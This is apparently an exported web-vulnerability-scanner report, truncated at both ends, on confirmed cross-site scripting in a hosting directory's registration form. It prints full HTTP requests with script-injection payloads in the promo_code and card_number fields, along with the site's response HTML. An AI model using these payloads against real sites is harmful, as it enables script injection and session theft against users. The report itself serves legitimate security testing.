<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST '"--></style></script><script>alert(0x001F88)</script>
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F88)%3c%2fscript%3e&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:23:27 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='7C9931B12F31C0B50F428AF0F0403F0BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='7C9931B12F31C0B521581B032CC83CCC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='7C9931B12F31C0B57F5160BAE4D8ED5CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B5A1382097FAA2584AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='7C9931B12F31C0B59132516B19D1B8C46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='7C9931B12F31C0B54AD98EB19E78079EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='7C9931B12F31C0B5342AC960C455DD51C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='7C9931B12F31C0B55CB2E2A17B843A146F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='7C9931B12F31C0B5E0D127D6BA9870E2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='7C9931B12F31C0B5B416740B99E00C4A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='7C9931B12F31C0B54B03B87FA3FA2888C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='7C9931B12F31C0B5F259429D93FA76E3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='7C9931B12F31C0B556AD2C1AF6B3FDC8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B596EA7B5361223091C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='7C9931B12F31C0B5E3D00E411B7F05EFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='7C9931B12F31C0B5F9F574EB89777698C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='7C9931B12F31C0B589653042A0BA7F2A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='7C9931B12F31C0B5E68E9D0D006228966F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='7C9931B12F31C0B5B4A1220146F35A476F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST '"--></style></script><script>alert(0x001F89)</script>
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F89)%3c%2fscript%3e&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:23:35 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='7C9931B12F31C0B507532CB494CF0BAFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='7C9931B12F31C0B57C5DB9F2A70D7D3E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='7C9931B12F31C0B57B7262999D482F77C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B555C29147453D054EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='7C9931B12F31C0B5E42A9C7645BF55126F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='7C9931B12F31C0B57373B4A13AFE0260C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='7C9931B12F31C0B57771A6A23BC3B81AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='7C9931B12F31C0B540ECA1B6C8D16CF66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='7C9931B12F31C0B52E4EDDAA670E3297C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='7C9931B12F31C0B5C7928BC3B742B3AA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='7C9931B12F31C0B516D2987D5D12C646C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='7C9931B12F31C0B535A1CDDD13BC2DFEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='7C9931B12F31C0B56A336CE9452C78B2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B5CAE8ED361B6BA319C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='7C9931B12F31C0B5A52CBCD284569938C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='7C9931B12F31C0B515DB40D7EA300F3EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='7C9931B12F31C0B5CB8DC4F832E5470A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='7C9931B12F31C0B577ABB814B9659BED6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='7C9931B12F31C0B55289C1ADD7889C166F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
